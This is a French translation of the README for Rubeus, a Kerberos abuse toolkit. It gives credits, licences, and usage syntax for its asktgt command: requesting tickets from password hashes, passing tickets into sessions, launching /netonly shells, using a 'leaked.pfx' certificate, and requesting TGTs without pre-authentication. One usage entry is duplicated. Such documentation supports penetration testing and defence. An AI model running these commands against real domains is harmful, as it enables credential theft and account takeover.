
Essayer d'apprivoiser le chien à trois têtes.
Rubeus est un ensemble d'outils C# pour l'interaction brute avec Kerberos et ses abus. Il est fortement adapté du projet Kekeo (licence CC BY-NC-SA 4.0) de Benjamin Delpy et du projet MakeMeEnterpriseAdmin (licence GPL v3.0) de Vincent LE TOUX. Le mérite revient entièrement à Benjamin et Vincent pour avoir résolu les composants difficiles de l'armement – sans leurs travaux antérieurs, ce projet n'existerait pas.
Charlie Clark et Ceri Coburn ont tous deux apporté des contributions significatives en tant que co-développeurs de la base de code de Rubeus. Elad Shamir a contribué un travail essentiel pour la délégation contrainte basée sur les ressources. Leur travail est très apprécié !
Rubeus utilise également une bibliothèque C# d'analyse/encodage ASN.1 de Thomas Pornin nommée DDer qui a été publiée sous une licence « de type MIT ». Un grand merci à Thomas pour son code propre et stable !
Le code PKINIT est fortement adapté de l'outil Bruce de @SteveSyfuhs. Bruce a rendu la RFC4556 (PKINIT) beaucoup plus facile à comprendre. Un grand merci à Steve !
L'encodage et le décodage NDR pour le PAC Kerberos sont basés sur la bibliothèque NtApiDotNet de @tiraniddo, merci James.
La méthode KerberosRequestorSecurityToken.GetRequest pour le Kerberoasting a été contribuée à PowerView (puis intégrée dans Rubeus) par @machosec.
@harmj0y est l'auteur principal de cette base de code.
Rubeus est sous licence BSD 3-Clause.
______ _
(_____ \ | |
_____) )_ _| |__ _____ _ _ ___
| __ /| | | | _ \| ___ | | | |/___)
| | \ \| |_| | |_) ) ____| |_| |___ |
|_| |_|____/|____/|_____)____/(___/
v2.3.3
Demandes et renouvellements de tickets :
Récupérer un TGT basé sur un mot de passe/hash d'utilisateur, éventuellement le sauvegarder dans un fichier ou l'appliquer à la session de connexion actuelle ou à un LUID spécifique :
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Récupérer un TGT basé sur un mot de passe/hash d'utilisateur, éventuellement le sauvegarder dans un fichier ou l'appliquer à la session de connexion actuelle ou à un LUID spécifique :
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Récupérer un TGT basé sur un mot de passe/hash d'utilisateur, démarrer un processus /netonly et appliquer le ticket au nouveau processus/session de connexion :
Rubeus.exe asktgt /user:USER </password:PASSWORD [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/opsec] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Récupérer un TGT en utilisant un certificat PCKS12, démarrer un processus /netonly et appliquer le ticket au nouveau processus/session de connexion :
Rubeus.exe asktgt /user:USER /certificate:C:\temp\leaked.pfx </password:STOREPASSWORD> /createnetonly:C:\Windows\System32\cmd.exe [/getcredentials] [/servicekey:KRBTGTKEY] [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/nowrap] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]
Récupérer un TGT en utilisant un certificat du magasin de l'utilisateur (carte à puce) en spécifiant l'empreinte ou le sujet du certificat, démarrer un processus /netonly et appliquer le ticket au nouveau processus/session de connexion :
Rubeus.exe asktgt /user:USER /certificate:f063e6f4798af085946be6cd9d82ba3999c7ebac /createnetonly:C:\Windows\System32\cmd.exe [/show] [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/suppenctype:DES|RC4|AES128|AES256] [/nowrap]
Récupérer un TGT approprié pour changer un compte dont le mot de passe a expiré en utilisant la commande changepw
Rubeus.exe asktgt /user:USER </password:PASSWORD /changepw [/enctype:DES|RC4|AES128|AES256] | /des:HASH | /rc4:HASH | /aes128:HASH | /aes256:HASH> [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/opsec] [/proxyurl:https://KDC_PROXY/kdcproxy]
Demander un TGT sans envoyer de données de pré-authentification :
Rubeus.exe asktgt /user:USER [/domain:DOMAIN] [/dc:DOMAIN_CONTROLLER] [/outfile:FILENAME] [/ptt] [/luid] [/nowrap] [/nopac] [/proxyurl:https://KDC_PROXY/kdcproxy] [/suppenctype:DES|RC4|AES128|AES256]